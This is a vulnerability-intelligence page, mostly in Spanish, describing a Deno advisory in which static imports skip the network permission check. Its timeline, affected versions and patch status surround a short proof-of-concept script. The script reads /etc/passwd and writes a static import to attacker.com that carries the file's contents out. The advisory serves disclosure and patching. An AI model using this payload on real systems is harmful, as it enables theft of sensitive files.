llamaCVEVulnerability Intelligence
/
Advisory · GitHub · crates.io · deno

GHSA-JV4X-JV3H-QFF5

Deno vulnerable to Exposure of Sensitive Information to an Unauthorized Actor

Parche disponible
Descargar PNG JSON
CVSS
—
medium
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -240 d de la divulgación
Exposición533 dDesde la divulgación, 4 jun 2025, 8:21 p. m.
Detección530 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Parche 2.0.0
Monitoreo
Detectada
8 oct 24
5 jun 25
17 nov 26
20 nov 26
8 oct 24
19 abr 25
29 oct 25
11 may 26
20 nov 26
FechaFaseEventoDetalle
Remediación Parche 2.0.0 deno · -240 d desde divulgación
Divulgación Publicada GHSA-JV4X-JV3H-QFF5 divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

Static imports are exempted from the network permission check. An attacker could exploit this to leak the password file on the network.

Details

Static imports in Deno are exempted from the network permission check. This can be exploited by attackers in multiple ways, when third-party code is directly/indirectly executed with `deno run`:

  1. The simplest payload would be a tracking pixel-like import that attackers place in their code to find out when developers use the attacker-controlled code.
  2. When `--allow-write` and `--allow-read` permissions are given, an attacker can perform a sophisticated two-steps attack: first, they generate a ts/js file containing a static import and in a second execution load this static file.
PoC
const __filename = new URL("", import.meta.url).pathname;
let oldContent = await Deno.readTextFile(__filename);
let passFile = await Deno.readTextFile("/etc/passwd");
let pre =
  'import {foo} from "[https://attacker.com?val=](https://attacker.com/?val=)' +
  encodeURIComponent(passFile) + '";\n';
await Deno.writeTextFile(__filename, pre + oldContent);

Executing a file containing this payload twice, with `deno run --allow-read --allow-write` would cause the password file to leak on the network, even though no network permission was granted.

This vulnerability was fixed with the addition of the `--allow-import` flag: https://docs.deno.com/runtime/fundamentals/security/#network-access

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
deno< 2.0.0
2.0.0
2.9.8
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
crates.iodeno
Corregida 2.0.0 -240 d 2.9.8 no afectada
Versiones corregidas2.0.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Otrahttps://github.com/denoland/deno/security/advisories/GHSA-jv4x-jv3h-qff5
Otrahttps://github.com/denoland/deno

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.